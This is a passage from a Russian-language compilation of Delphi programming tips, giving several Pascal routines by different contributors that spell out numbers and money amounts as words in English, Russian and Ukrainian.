        begin
          TheResult := TheResult + 'Sixteen ';
          TheAmount := TheAmount - 16;
        end;
      if TheAmount >= 15 then
        begin
          TheResult := TheResult + 'Fifteen ';
          TheAmount := TheAmount - 15;
        end;
      if TheAmount >= 14 then
        begin
          TheResult := TheResult + 'Fourteen ';
          TheAmount := TheAmount - 14;
        end;
      if TheAmount >= 13 then
        begin
          TheResult := TheResult + 'Thirteen ';
          TheAmount := TheAmount - 13;
        end;
      if TheAmount >= 12 then
        begin
          TheResult := TheResult + 'Twelve ';
          TheAmount := TheAmount - 12;
        end;
      if TheAmount >= 11 then
        begin
          TheResult := TheResult + 'Eleven ';
          TheAmount := TheAmount - 11;
        end;
      if TheAmount >= 10 then
        begin
          TheResult := TheResult + 'Ten ';
          TheAmount := TheAmount - 10;
        end;
      if TheAmount >= 9 then
        begin
          TheResult := TheResult + 'Nine ';
          TheAmount := TheAmount - 9;
        end;
      if TheAmount >= 8 then
        begin
          TheResult := TheResult + 'Eight ';
          TheAmount := TheAmount - 8;
        end;
      if TheAmount >= 7 then
        begin
          TheResult := TheResult + 'Seven ';
          TheAmount := TheAmount - 7;
        end;
      if TheAmount >= 6 then
        begin
          TheResult := TheResult + 'Six ';
          TheAmount := TheAmount - 6;
        end;
      if TheAmount >= 5 then
        begin
          TheResult := TheResult + 'Five ';
          TheAmount := TheAmount - 5;
        end;
      if TheAmount >= 4 then
        begin
          TheResult := TheResult + 'Four ';
          TheAmount := TheAmount - 4;
        end;
      if TheAmount >= 3 then
        begin
          TheResult := TheResult + 'Three ';
          TheAmount := TheAmount - 3;
        end;
      if TheAmount >= 2 then
        begin
          TheResult := TheResult + 'Two ';
          TheAmount := TheAmount - 2;
        end;
      if TheAmount >= 1 then
        begin
          TheResult := TheResult + 'One ';
          TheAmount := TheAmount - 1;
        end;
    end;
  HundredAtATime := TheResult;
end;

function Real2CheckAmount(TheAmount: Real): string;
var

  IntVal: LongInt;
  TmpVal: Integer;
  TmpStr,
    RetVal: string;
begin

  TheAmount := Abs(TheAmount);

{ центы }
  TmpVal := Round(Frac(TheAmount) * 100);
  IntVal := Trunc(TheAmount);
  TmpStr := HundredAtATime(TmpVal);
  if TmpStr = '' then TmpStr := 'Zero ';
  RetVal := TmpStr + 'cents';
  if IntVal > 0 then RetVal := 'dollars and ' + RetVal;

{ сотни }
  TmpVal := Round(Frac((IntVal * 1.0) / 1000.0) * 1000);
  IntVal := Trunc((IntVal * 1.0) / 1000.0);
  TmpStr := HundredAtATime(TmpVal);
  RetVal := TmpStr + RetVal;

{ тысячи }
  TmpVal := Round(Frac((IntVal * 1.0) / 1000.0) * 1000);
  IntVal := Trunc((IntVal * 1.0) / 1000.0);
  TmpStr := HundredAtATime(TmpVal);
  if TmpStr <> '' then
    RetVal := TmpStr + 'Thousand ' + RetVal;

{ миллионы }
  TmpVal := Round(Frac((IntVal * 1.0) / 1000.0) * 1000);
  IntVal := Trunc((IntVal * 1.0) / 1000.0);
  TmpStr := HundredAtATime(TmpVal);
  if TmpStr <> '' then
    RetVal := TmpStr + 'Million ' + RetVal;

{ миллиарды }
  TmpVal := Round(Frac((IntVal * 1.0) / 1000.0) * 1000);
  IntVal := Trunc((IntVal * 1.0) / 1000.0);
  TmpStr := HundredAtATime(TmpVal);
  if TmpStr <> '' then
    RetVal := TmpStr + 'Billion ' + RetVal;

  Real2CheckAmount := RetVal;
end;

Хммммм...вроде бы работает, но как все громоздко и неуклюже....добавьте в код немного рекурсии и вы получите более элегантную программу..: )))

unit Unit1;

interface

uses

  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;

type

  TForm1 = class(TForm)
    num: TEdit;
    spell: TEdit;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
{ Private declarations }
    function trans9(num: integer): string;
    function trans19(num: integer): string;
    function trans99(num: integer): string;
    function IntToSpell(num: integer): string;
  public
{ Public declarations }
  end;

var

  Form1: TForm1;

implementation

{$R *.DFM}
function TForm1.IntToSpell(num: integer): string;
var

  spell: string;
  hspell: string;
  hundred: string;
  thousand: string;
  tthousand: string;
  hthousand: string;
  million: string;
begin

  if num &lg; 10 then
    spell := trans9(num);
{endif}
  if (num < 20) and (num > 10) then
    spell := trans19(num);
{endif}
  if (((num < 100) and (num > 19)) or (num = 10)) then
    begin
      hspell := copy(IntToStr(num), 1, 1) + '0';
      spell := trans99(StrToInt(hspell));
      hspell := copy(IntToStr(num), 2, 1);
      spell := spell + ' ' + IntToSpell(StrToInt(hspell));
    end;

  if (num < 1000) and (num > 100) then
    begin
      hspell := copy(IntToStr(num), 1, 1);
      hundred := IntToSpell(StrToInt(hspell));
      hspell := copy(IntToStr(num), 2, 2);
      hundred := hundred + ' hundred and ' + IntToSpell(StrToInt(hspell));
      spell := hundred;
    end;

  if (num < 10000) and (num > 1000) then
    begin
      hspell := copy(IntToStr(num), 1, 1);
      thousand := IntToSpell(StrToInt(hspell));
      hspell := copy(IntToStr(num), 2, 3);
      thousand := thousand + ' thousand ' + IntToSpell(StrToInt(hspell));
      spell := thousand;
    end;

  if (num < 100000) and (num > 10000) then
    begin
      hspell := copy(IntToStr(num), 1, 2);
      tthousand := IntToSpell(StrToInt(hspell));
      hspell := copy(IntToStr(num), 3, 3);
      tthousand := tthousand + ' thousand ' + IntToSpell(StrToInt(hspell));
      spell := tthousand;
    end;

  if (num < 1000000) and (num > 100000) then
    begin
      hspell := copy(IntToStr(num), 1, 3);
      hthousand := IntToSpell(StrToInt(hspell));
      hspell := copy(IntToStr(num), 4, 3);
      hthousand := hthousand + ' thousand and ' +
        IntToSpell(StrToInt(hspell));

      spell := hthousand;
    end;

  if (num < 10000000) and (num > 1000000) then
    begin
      hspell := copy(IntToStr(num), 1, 1);
      million := IntToSpell(StrToInt(hspell));
      hspell := copy(IntToStr(num), 2, 6);
      million := million + ' million and ' + IntToSpell(StrToInt(hspell));
      spell := million;
    end;

  IntToSpell := spell;

end;

function TForm1.trans99(num: integer): string;
var

  spell: string;
begin

  case num of
    10: spell := 'ten';
    20: spell := 'twenty';
    30: spell := 'thirty';
    40: spell := 'fourty';
    50: spell := 'fifty';
    60: spell := 'sixty';
    70: spell := 'seventy';
    80: spell := 'eighty';
    90: spell := 'ninty';
  end;
  trans99 := spell;
end;
function TForm1.trans19(num: integer): string;
var

  spell: string;
begin

  case num of
    11: spell := 'eleven';
    12: spell := 'twelve';
    13: spell := 'thirteen';
    14: spell := 'fourteen';
    15: spell := 'fifteen';
    16: spell := 'sixteen';
    17: spell := 'seventeen';
    18: spell := 'eighteen';
    19: spell := 'nineteen';
  end;
  trans19 := spell;
end;
function TForm1.trans9(num: integer): string;
var

  spell: string;
begin

  case num of
    1: spell := 'one';
    2: spell := 'two';
    3: spell := 'three';
    4: spell := 'four';
    5: spell := 'five';
    6: spell := 'six';
    7: spell := 'seven';
    8: spell := 'eight';
    9: spell := 'nine';
  end;
  trans9 := spell;
end;
procedure TForm1.Button1Click(Sender: TObject);
var

  numb: integer;
begin

  spell.text := IntToSpell(StrToInt(num.text));
end;

Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Число русской строкой

Автор Александр

{------------------------ Деньги прописью ---------------------}
function TextSum(S: double): string;

  function Conv999(M: longint; fm: integer): string;
  const

    c1to9m: array[1..9] of string[6] =
    ('один', 'два', 'три', 'четыре', 'пять', 'шесть', 'семь', 'восемь', 'девять');
    c1to9f: array[1..9] of string[6] =
    ('одна', 'две', 'три', 'четыре', 'пять', 'шесть', 'семь', 'восемь', 'девять');
    c11to19: array[1..9] of string[12] =
    ('одиннадцать', 'двенадцать', 'тринадцать', 'четырнадцать', 'пятнадцать',
      'шестнадцать', 'семнадцать', 'восемнадцать', 'девятнадцать');
    c10to90: array[1..9] of string[11] =
    ('десять', 'двадцать', 'тридцать', 'сорок', 'пятьдесят', 'шестьдесят',
      'семьдесят', 'восемьдесят', 'девяносто');
    c100to900: array[1..9] of string[9] =
    ('сто', 'двести', 'триста', 'четыреста', 'пятьсот', 'шестьсот', 'семьсот',
      'восемьсот', 'девятьсот');
  var

    s: string;
    i: longint;
  begin

    s := '';
    i := M div 100;
    if i <> 0 then s := c100to900[i] + ' ';
    M := M mod 100;
    i := M div 10;
    if (M > 10) and (M < 20) then
      s := s + c11to19[M - 10] + ' '
    else
      begin
        if i <> 0 then s := s + c10to90[i] + ' ';
        M := M mod 10;
        if M <> 0 then
          if fm = 0 then
            s := s + c1to9f[M] + ' '
          else
            s := s + c1to9m[M] + ' ';
      end;
    Conv999 := s;
  end;

{--------------------------------------------------------------}
var

  i: longint;
  j: longint;
  r: real;
  t: string;

begin

  t := '';

  j := Trunc(S / 1000000000.0);
  r := j;
  r := S - r * 1000000000.0;
  i := Trunc(r);
  if j <> 0 then
    begin
      t := t + Conv999(j, 1) + 'миллиард';
      j := j mod 100;
      if (j > 10) and (j < 20) then
        t := t + 'ов '
      else
        case j mod 10 of
          0: t := t + 'ов ';
          1: t := t + ' ';
          2..4: t := t + 'а ';
          5..9: t := t + 'ов ';
        end;
    end;

  j := i div 1000000;
  if j <> 0 then
    begin
      t := t + Conv999(j, 1) + 'миллион';
      j := j mod 100;
      if (j > 10) and (j < 20) then
        t := t + 'ов '
      else
        case j mod 10 of
          0: t := t + 'ов ';
          1: t := t + ' ';
          2..4: t := t + 'а ';
          5..9: t := t + 'ов ';
        end;
    end;

  i := i mod 1000000;
  j := i div 1000;
  if j <> 0 then
    begin
      t := t + Conv999(j, 0) + 'тысяч';
      j := j mod 100;
      if (j > 10) and (j < 20) then
        t := t + ' '
      else
        case j mod 10 of
          0: t := t + ' ';
          1: t := t + 'а ';
          2..4: t := t + 'и ';
          5..9: t := t + ' ';
        end;
    end;

  i := i mod 1000;
  j := i;
  if j <> 0 then t := t + Conv999(j, 1);
  t := t + 'руб. ';

  i := Round(Frac(S) * 100.0);
  t := t + Long2Str(i) + ' коп.';
  TextSum := t;
end;

unit RoubleUnit;
{$D Пропись © Близнец Антон '99 http:\\anton-bl.chat.ru\delphi\1001.htm }
{ 1000011.01->'Один миллион одинадцать рублей 01 копейка'               }
interface
function RealToRouble(c: Extended): string;
implementation
uses SysUtils, math;
const Max000 = 6; {Кол-во триплетов - 000}
  MaxPosition = Max000 * 3; {Кол-во знаков в числе }
//Аналог IIF в Dbase есть в proc.pas для основных типов, частично объявлена тут для независимости
function IIF(i: Boolean; s1, s2: Char): Char; overload; begin if i then
    result := s1
  else
    result := s2 end;
function IIF(i: Boolean; s1, s2: string): string; overload; begin if i then
    result := s1
  else
    result := s2 end;

function NumToStr(s: string): string; {Возвращает число прописью}
const c1000: array[0..Max000] of string = ('', 'тысяч', 'миллион', 'миллиард', 'триллион', 'квадраллион', 'квинтиллион');

  c1000w: array[0..Max000] of Boolean = (False, True, False, False, False, False, False);
  w: array[False..True, '0'..'9'] of string[3] = (('ов ', ' ', 'а ', 'а ', 'а ', 'ов ', 'ов ', 'ов ', 'ов ', 'ов '),
    (' ', 'а ', 'и ', 'и ', 'и ', ' ', ' ', ' ', ' ', ' '));
  function Num000toStr(S: string; woman: Boolean): string; {Num000toStr возвращает число для триплета}
  const c100: array['0'..'9'] of string = ('', 'сто ', 'двести ', 'триста ', 'четыреста ', 'пятьсот ', 'шестьсот ', 'семьсот ', 'восемьсот ', 'девятьсот ');
    c10: array['0'..'9'] of string = ('', 'десять ', 'двадцать ', 'тридцать ', 'сорок ', 'пятьдесят ', 'шестьдесят ', 'семьдесят ', 'восемьдесят ', 'девяносто ');
    c11: array['0'..'9'] of string = ('', 'один', 'две', 'три', 'четыр', 'пят', 'шест', 'сем', 'восем', 'девят');
    c1: array[False..True, '0'..'9'] of string = (('', 'один ', 'два ', 'три ', 'четыре ', 'пять ', 'шесть ', 'семь ', 'восемь ', 'девять '),
      ('', 'одна ', 'две ', 'три ', 'четыре ', 'пять ', 'шесть ', 'семь ', 'восемь ', 'девять '));
  begin {Num000toStr}
    Result := c100[s[1]] + iif((s[2] = '1') and (s[3] > '0'), c11[s[3]] + 'надцать ', c10[s[2]] + c1[woman, s[3]]);
  end; {Num000toStr}

var s000: string[3];

  isw, isMinus: Boolean;
  i: integer; //Счётчик триплетов
begin

  Result := ''; i := 0;
  isMinus := (s <> '') and (s[1] = '-');
  if isMinus then s := Copy(s, 2, Length(s) - 1);
  while not ((i >= Ceil(Length(s) / 3)) or (i >= Max000)) do
    begin
      s000 := Copy('00' + s, Length(s) - i * 3, 3);
      isw := c1000w[i];
      if (i > 0) and (s000 <> '000') then //тысячи и т.д.
        Result := c1000[i] + w[Isw, iif(s000[2] = '1', '0', s000[3])] + Result;
      Result := Num000toStr(s000, isw) + Result;
      Inc(i)
    end;
  if Result = '' then Result := 'ноль';
  if isMinus then Result := 'минус ' + Result;
end; {NumToStr}

function RealToRouble(c: Extended): string;

const ruble: array['0'..'9'] of string[2] = ('ей', 'ь', 'я', 'я', 'я', 'ей', 'ей', 'ей', 'ей', 'ей');
  Kopeek: array['0'..'9'] of string[3] = ('ек', 'йка', 'йки', 'йки', 'йки', 'ек', 'ек', 'ек', 'ек', 'ек');

  function ending(const s: string): Char;
  var l: Integer; //С l на 8 байт коротче $50->$48->$3F
  begin //Возвращает индекс окончания
    l := Length(s);
    Result := iif((l > 1) and (s[l - 1] = '1'), '0', s[l]);
  end;

var rub: string[MaxPosition + 3]; kop: string[2];
begin {Возвращает число прописью с рублями и копейками}

  Str(c: MaxPosition + 3: 2, Result);
  if Pos('E', Result) = 0 then //Если число можно представить в строке <>1E+99
    begin
      rub := TrimLeft(Copy(Result, 1, Length(Result) - 3));
      kop := Copy(Result, Length(Result) - 1, 2);
      Result := NumToStr(rub) + ' рубл' + ruble[ending(rub)]
        + ' ' + kop + ' копе' + Kopeek[ending(kop)];
      Result := AnsiUpperCase(Result[1]) + Copy(Result, 2, Length(Result) - 1);
    end;
end;
end.

Редянов Денис

function CifrToStr(Cifr: string; Pr: Integer; Padeg: Integer): string;
{Функция возвращает прописью 1 цифры признак 3-единицы 2-десятки 1-сотни 4-11-19

Padeg - 1-нормально 2- одна, две }
var i: Integer;
begin

  i := StrToInt(Cifr);
  if Pr = 1 then
    case i of
      1: CifrToStr := 'сто';
      2: CifrToStr := 'двести';
      3: CifrToStr := 'триста';
      4: CifrToStr := 'четыреста';
      5: CifrToStr := 'пятьсот';
      6: CifrToStr := 'шестьсот';
      7: CifrToStr := 'семьсот';
      8: CifrToStr := 'восемьсот';
      9: CifrToStr := 'девятьсот';
      0: CifrToStr := '';
    end
  else if Pr = 2 then
    case i of
      1: CifrToStr := '';
      2: CifrToStr := 'двадцать';
      3: CifrToStr := 'тридцать';
      4: CifrToStr := 'сорок';
      5: CifrToStr := 'пятьдесят';
      6: CifrToStr := 'шестьдесят';
      7: CifrToStr := 'семьдесят';
      8: CifrToStr := 'восемьдесят';
      9: CifrToStr := 'девяносто';
      0: CifrToStr := '';
    end
  else if Pr = 3 then
    case i of
      1: if Padeg = 1 then
          CifrToStr := 'один'
        else
          CifrToStr := 'одна';
      2: if Padeg = 1 then
          CifrToStr := 'два'
        else
          CifrToStr := 'две';
      3: CifrToStr := 'три';
      4: CifrToStr := 'четыре';
      5: CifrToStr := 'пять';
      6: CifrToStr := 'шесть';
      7: CifrToStr := 'семь';
      8: CifrToStr := 'восемь';
      9: CifrToStr := 'девять';
      0: CifrToStr := '';
    end
  else if Pr = 4 then
    case i of
      1: CifrToStr := 'одиннадцать';
      2: CifrToStr := 'двенадцать';
      3: CifrToStr := 'тринадцать';
      4: CifrToStr := 'четырнадцать';
      5: CifrToStr := 'пятнадцать';
      6: CifrToStr := 'шестнадцать';
      7: CifrToStr := 'семнадцать';
      8: CifrToStr := 'восемнадцать';
      9: CifrToStr := 'девятнадцать';
      0: CifrToStr := 'десять';

    end;
end;

function Rasryad(K: Integer; V: string): string;
{Функция возвращает наименование разряда в зависимости от последних 2 цифр его}
var j: Integer;
begin

  j := StrToInt(Copy(v, Length(v), 1));
  if (StrToInt(Copy(v, Length(v) - 1, 2)) > 9) and (StrToInt(Copy(v, Length(v) - 1, 2)) < 20) then
    case K of
      0: Rasryad := '';
      1: Rasryad := 'тысяч';
      2: Rasryad := 'миллионов';
      3: Rasryad := 'миллиардов';
      4: Rasryad := 'триллионов';
    end
  else
    case K of
      0: Rasryad := '';
      1: case j of
          1: Rasryad := 'тысяча';
          2..4: Rasryad := 'тысячи';
        else
          Rasryad := 'тысяч';
        end;
      2: case j of
          1: Rasryad := 'миллион';
          2..4: Rasryad := 'миллионa';
        else
          Rasryad := 'миллионов';
        end;
      3: case j of
          1: Rasryad := 'миллиард';
          2..4: Rasryad := 'миллиарда';
        else
          Rasryad := 'миллиардов';
        end;
      4: case j of
          1: Rasryad := 'триллион';
          2..4: Rasryad := 'триллиона';
        else
          Rasryad := 'триллионов';
        end;
    end;
end;

function GroupToStr(Group: string; Padeg: Integer): string;
{Функция возвращает прописью 3 цифры}
var i: Integer;

  S: string;
begin

  S := '';
  if (StrToInt(Copy(Group, Length(Group) - 1, 2)) > 9) and (StrToInt(Copy(Group, Length(Group) - 1, 2)) < 20) then
    begin
      if Length(Group) = 3 then
        S := S + ' ' + CifrToStr(Copy(Group, 1, 1), 1, Padeg);
      S := S + ' ' + CifrToStr(Copy(Group, Length(Group), 1), 4, Padeg);
    end
  else
    for i := 1 to Length(Group) do
      S := S + ' ' + CifrToStr(Copy(Group, i, 1), i - Length(Group) + 3, Padeg);
  GroupToStr := S;
end;

{Функция возвращает сумму прописью}
function RubToStr(Rubs: Currency; Rub, Kop: string): string;
var i, j: Integer;

  R, K, S: string;
begin

  S := CurrToStr(Rubs);
  S := Trim(S);
  if Pos(',', S) = 0 then
    begin
      R := S;
      K := '00';
    end
  else
    begin
      R := Copy(S, 0, (Pos(',', S) - 1));
      K := Copy(S, (Pos(',', S) + 1), Length(S));
    end;

  S := '';
  i := 0;
  j := 1;
  while Length(R) > 3 do
    begin
      if i = 1 then
        j := 2
      else
        j := 1;
      S := GroupToStr(Copy(R, Length(R) - 2, 3), j) + ' ' + Rasryad(i, Copy(R, Length(R) - 2, 3)) + ' ' + S;
      R := Copy(R, 1, Length(R) - 3);
      i := i + 1;
    end;
  if i = 1 then
    j := 2
  else
    j := 1;
  S := Trim(GroupToStr(R, j) + ' ' + Rasryad(i, R) + ' ' + S + ' ' + Rub + ' ' + K + ' ' + Kop);
  S := ANSIUpperCase(Copy(S, 1, 1)) + Copy(S, 2, Length(S) - 1);
  RubToStr := S;
end;

Вот еще одно решение, присланное Олегом Клюкач.

unit Numinwrd;

interface
function sMoneyInWords(Nin: currency): string; export;
function szMoneyInWords(Nin: currency): PChar; export;
{ Денежная сумма Nin в рублях и копейках прописью

1997, в.2.1, by О.В.Болдырев}

implementation
uses SysUtils, Dialogs, Math;

type

  tri = string[4];
  mood = 1..2;
  gender = (m, f);
  uns = array[0..9] of string[7];
  tns = array[0..9] of string[13];
  decs = array[0..9] of string[12];
  huns = array[0..9] of string[10];
  nums = array[0..4] of string[8];
  money = array[1..2] of string[5];
  endings = array[gender, mood, 1..3] of tri; {окончания числительных и денег}

const

  units: uns = ('', 'один ', 'два ', 'три ', 'четыре ', 'пять ',
    'шесть ', 'семь ', 'восемь ', 'девять ');
  unitsf: uns = ('', 'одна ', 'две ', 'три ', 'четыре ', 'пять ',
    'шесть ', 'семь ', 'восемь ', 'девять ');
  teens: tns = ('десять ', 'одиннадцать ', 'двенадцать ', 'тринадцать ',
    'четырнадцать ', 'пятнадцать ', 'шестнадцать ',
    'семнадцать ', 'восемнадцать ', 'девятнадцать ');
  decades: decs = ('', 'десять ', 'двадцать ', 'тридцать ', 'сорок ',
    'пятьдесят ', 'шестьдесят ', 'семьдесят ', 'восемьдесят ',
    'девяносто ');
  hundreds: huns = ('', 'сто ', 'двести ', 'триста ', 'четыреста ',
    'пятьсот ', 'шестьсот ', 'семьсот ', 'восемьсот ',
    'девятьсот ');
  numericals: nums = ('', 'тысяч', 'миллион', 'миллиард', 'триллион');
  RusMon: money = ('рубл', 'копе');
  ends: endings = ((('', 'а', 'ов'), ('ь', 'я', 'ей')),
    (('а', 'и', ''), ('йка', 'йки', 'ек')));
threadvar

  str: string;

function EndingIndex(Arg: integer): integer;
begin

  if ((Arg div 10) mod 10) <> 1 then
    case (Arg mod 10) of
      1: Result := 1;
      2..4: Result := 2;
    else
      Result := 3;
    end
  else
    Result := 3;
end;

function sMoneyInWords(Nin: currency): string; { Число Nin прописью, как функция }
var
//  str: string;

  g: gender; //род
  Nr: comp; {целая часть числа}
  Fr: integer; {дробная часть числа}
  i, iTri, Order: longint; {триада}

  procedure Triad;
  var
    iTri2: integer;
    un, de, ce: byte; //единицы, десятки, сотни

    function GetDigit: byte;
    begin
      Result := iTri2 mod 10;
      iTri2 := iTri2 div 10;
    end;

  begin
    iTri := trunc(Nr / IntPower(1000, i));
    Nr := Nr - int(iTri * IntPower(1000, i));
    iTri2 := iTri;
    if iTri > 0 then
      begin
        un := GetDigit;
        de := GetDigit;
        ce := GetDigit;
        if i = 1 then
          g := f
        else
          g := m; {женского рода только тысяча}

        str := TrimRight(str) + ' ' + Hundreds[ce];
        if de = 1 then
          str := TrimRight(str) + ' ' + Teens[un]
        else
          begin
            str := TrimRight(str) + ' ' + Decades[de];
            case g of
              m: str := TrimRight(str) + ' ' + Units[un];
              f: str := TrimRight(str) + ' ' + UnitsF[un];
            end;
          end;

        if length(numericals[i]) > 1 then
          begin
            str := TrimRight(str) + ' ' + numericals[i];
            str := TrimRight(str) + ends[g, 1, EndingIndex(iTri)];
          end;
      end; //triad is 0 ?

    if i = 0 then Exit;
    Dec(i);
    Triad;
  end;

begin

  str := '';
  Nr := int(Nin);
  Fr := round(Nin * 100 + 0.00000001) mod 100;
  if Nr > 0 then
    Order := trunc(Log10(Nr) / 3)
  else
    begin
      str := 'ноль';
      Order := 0
    end;
  if Order > High(numericals) then
    raise Exception.Create('Слишком большое число для суммы прописью');
  i := Order;
  Triad;
  str :=
    Format('%s %s%s %.2d %s%s', [Trim(str), RusMon[1], ends[m, 2, EndingIndex(iTri)],
    Fr, RusMon[2], ends[f, 2, EndingIndex(Fr)]]);
  str[1] := (ANSIUpperCase(copy(str, 1, 1)))[1];
  str[Length(str) + 1] := #0;
  Result := str;
end;

function szMoneyInWords(Nin: currency): PChar;
begin

  sMoneyInWords(Nin);
  Result := @(str[1]);
end;

end.

Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Число украинской строкой

unit UkrRecog;
{копирайт непомню чей. Был для русских циферок, а я переделал под
украинские}
{если кто что найдет пришлите

}
{by Andrew Tkachenko, proektwo@netcity.ru, Ukraine,

}
interface

const

  UkrMonthString: array[1..12] of string[9] = (
    'січня', 'лютого', 'березня', 'квiтня', 'травня',
    'червня', 'липня', 'серпня', 'вересня', 'жовтня',
    'листопада', 'грудня');

function UkrRecognizeAmount(Amount: real;
  CurrName, CurrSubname: string): string;

implementation
uses Sysutils;

function UkrRecognizeAmount(Amount: real;
  CurrName, CurrSubname: string): string;
{* CurrName in [грн.]

CurrSubName in [коп.]
Распознается число <= 999 999 999 999.99*}
const suffBL: string = ' ';

  suffDCT: string = 'дцять';
  suffNA: string = 'надцять ';
  suffDCM: string = 'десят';
  suffMZ: string = 'ь';
  sot: string = 'сот';
  st: string = 'ст';
  aa: string = 'а';
  ee: string = 'и'; {e}
  ii: string = 'і'; {и}
  oo: string = 'о';
  ov: string = 'ів'; {ов}
  C2: string = 'дв';
  C3: string = 'тpи';
  C4: string = 'чотир';
  C5: string = 'п''ят';
  C6: string = 'шіст';
  C7: string = 'сім';
  C8: string = 'вісім';
  C9: string = 'дев''ят';
var

  i: byte;
  sAmount, sdInt, sdDec: string;
  IsMln, IsTha {,IsDcm}, IsRange1019: boolean;
  currNum, endMlx, sResult: string;
begin

  if (amount <= 0) or (amount > 999999999999.99) then
    begin
      Result := '<<<< Ошибка в диапазоне >>>>';
      Exit;
    end;
  STR(Amount: 16: 2, sAmount);
  sdInt := Copy(sAmount, 1, 13);
  sdDec := Copy(sAmount, 15, 2);
  IsMln := false;
//IsDcm:=false;
  IsTha := false;
  IsRange1019 := false;
  sResult := '';

  for i := 1 to 13 do
    begin
      currNum := Copy(sdInt, i, 1);

      if currNum <> suffBL then
        begin
          case i of
            5, 6, 7: if currNum <> '0' then IsMln := true;
            8, 9, 10: if currNum <> '0' then IsTha := true;
          end;

          if i in [2, 5, 8, 11] then {сотни}
            begin
              if currNum = '1' then sResult := sResult + st + oo + suffBL;
              if currNum = '2' then sResult := sResult + C2 + ii + st + ii + suffBL;
              if currNum = '3' then sResult := sResult + C3 + st + aa + suffBL;
              if currNum = '4' then sResult := sResult + C4 + ee + st + aa + suffBL;
              if currNum = '5' then sResult := sResult + C5 + sot + suffBL;
              if currNum = '6' then sResult := sResult + C6 + sot + suffBL;
              if currNum = '7' then sResult := sResult + C7 + sot + suffBL;
              if currNum = '8' then sResult := sResult + C8 + sot + suffBL;
              if currNum = '9' then sResult := sResult + C9 + sot + suffBL;
            end;
          if i in [3, 6, 9, 12] then {десятки}
            begin
              if currNum = '1' then IsRange1019 := true;
              if currNum = '2' then sResult := sResult + C2 + aa + suffDCT + suffBL;
              if currNum = '3' then sResult := sResult + C3 + suffDCT + suffBL;
              if currNum = '4' then sResult := sResult + 'соpок ';
              if currNum = '5' then
                sResult := sResult + C5 + suffMZ + suffDCM + suffBL;

              if currNum = '6' then
                sResult := sResult + C6 + suffMZ + suffDCM + suffBL;

              if currNum = '7' then
                sResult := sResult + C7 + suffMZ + suffDCM + suffBL;

              if currNum = '8' then
                sResult := sResult + C8 + suffMZ + suffDCM + suffBL;

              if currNum = '9' then
                sResult := sResult + 'дев''ян' + oo + st + oo + suffBL;

            end;
          if i in [4, 7, 10, 13] then {единицы}
            begin
              if (currNum = '0') then
                if IsRange1019 then sResult := sResult + suffDCM + suffMZ + suffBL;
              if (currNum = '1') then
                begin
                  if (i = 13) and (not IsRange1019) then
                    sResult := sResult + 'одна '
                  else
                    begin
                      if (i = 10) and (IsRange1019) then
                        sResult := sResult + 'оди'
                      else if (i = 10) and (not IsRange1019) then
                        sResult := sResult + 'одна '
                      else
                        sResult := sResult + 'один' {ин};

                      if IsRange1019 and (i = 13) then
                        sResult := sResult + 'адцять' + suffBL

                      else if IsRange1019 then
                        sResult := sResult + suffNA
                      else
                        sResult := sResult + suffBL;
                    end;
                end;
              if (currNum = '2') then
                begin
                  sResult := sResult + C2;
                  if (i = 10) and (IsRange1019 = False) then
                    sResult := sResult + ii
                  else if (i = 10) or (IsRange1019) then
                    sResult := sResult + aa
                  else
                    sResult := sResult + {aa} ii;
                  if IsRange1019 then
                    sResult := sResult + suffNA
                  else
                    sResult := sResult + suffBL;
                end;
              if (currNum = '3') then
                begin
                  sResult := sResult + C3;
                  if IsRange1019 then
                    sResult := sResult + suffNA
                  else
                    sResult := sResult + suffBL;
                end;
              if (currNum = '4') then
                begin
                  sResult := sResult + C4;
                  if IsRange1019 then
                    sResult := sResult + suffNA
                  else
                    sResult := sResult + ee + suffBL;
                end;
              if (currNum = '5') then
                begin
                  sResult := sResult + C5;
                  if IsRange1019 then
                    sResult := sResult + suffNA
                  else
                    sResult := sResult + suffMZ + suffBL;
                end;
              if (currNum = '6') then
                begin
                  sResult := sResult + C6;
                  if IsRange1019 then
                    sResult := sResult + suffNA
                  else
                    sResult := sResult + suffMZ + suffBL;
                end;
              if (currNum = '7') then
                begin
                  sResult := sResult + C7;
                  if IsRange1019 then
                    sResult := sResult + suffNA
                  else
                    sResult := sResult + suffBL;
                end;
              if (currNum = '8') then
                begin
                  sResult := sResult + C8;
                  if IsRange1019 then
                    sResult := sResult + suffNA
                  else
                    sResult := sResult + suffBL;
                end;
              if (currNum = '9') then
                begin
                  sResult := sResult + C9;
                  if IsRange1019 then
                    sResult := sResult + suffNA
                  else
                    sResult := sResult + suffMZ + suffBL;
                end;
            end;

          endMlx := '';
          case i of
            4:
              begin
                if IsRange1019 then
                  endMlx := ov + suffBL
                else if currNum = '1' then
                  endMlx := suffBL
                else if (currNum = '2') or (currNum = '3') or (currNum = '4') then
                  endMlx := aa + suffBL
                else
                  endMlx := ov + suffBL;
                sResult := sResult + 'мiльярд' + endMlx;
              end;
            7: if IsMln then
                begin
                  if IsRange1019 then
                    endMlx := ov + suffBL
                  else if currNum = '1' then
                    endMlx := suffBL
                  else if (currNum = '2') or (currNum = '3') or (currNum = '4') then
                    endMlx := aa + suffBL
                  else
                    endMlx := ov + suffBL;
                  sResult := sResult + 'мiльйон' + endMlx;
                end;
            10: if IsTha then
                begin
                  if IsRange1019 then
                    endMlx := suffBL
                  else if currNum = '1' then
                    endMlx := aa + suffBL
                  else if (currNum = '2') or (currNum = '3') or (currNum = '4') then
                    endMlx := ii + suffBL
                  else
                    endMlx := suffBL;
                  sResult := sResult + 'тисяч' + endMlx;
                end;
          end; {case}
          if i in [4, 7, 10, 13] then IsRange1019 := false;
        end; {IF}
    end; {FOR}

  sResult := sResult + CurrName + ',' + suffBL + sdDec + suffBL + CurrSubname;
  sResult := AnsiUpperCase(sResult[1]) + Copy(sResult, 2, length(sResult) - 1);
  Result := sResult;
end;

end.

С уважением,

Andrew Tkachenko

ООО "Проект ВО"
Украина, г.Харьков
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Работа с типом Comp

Были какие-то разговоры о том, что тип Comp является каким-то ущербным, недоделанным типом данных, что даже не существует подпрограмм, осуществляющих конвертацию Comp в string и обратно. В своей работе данным типом я периодически пользуюсь, и у меня даже завалялся неплохой модуль для работы с ним. Он включает в себя CompToStr, CompToHex, StrToComp, и вспомогательные функции CMod и CDiv, представляющие собой реализацию функций MOD и DIV для типа Comp.

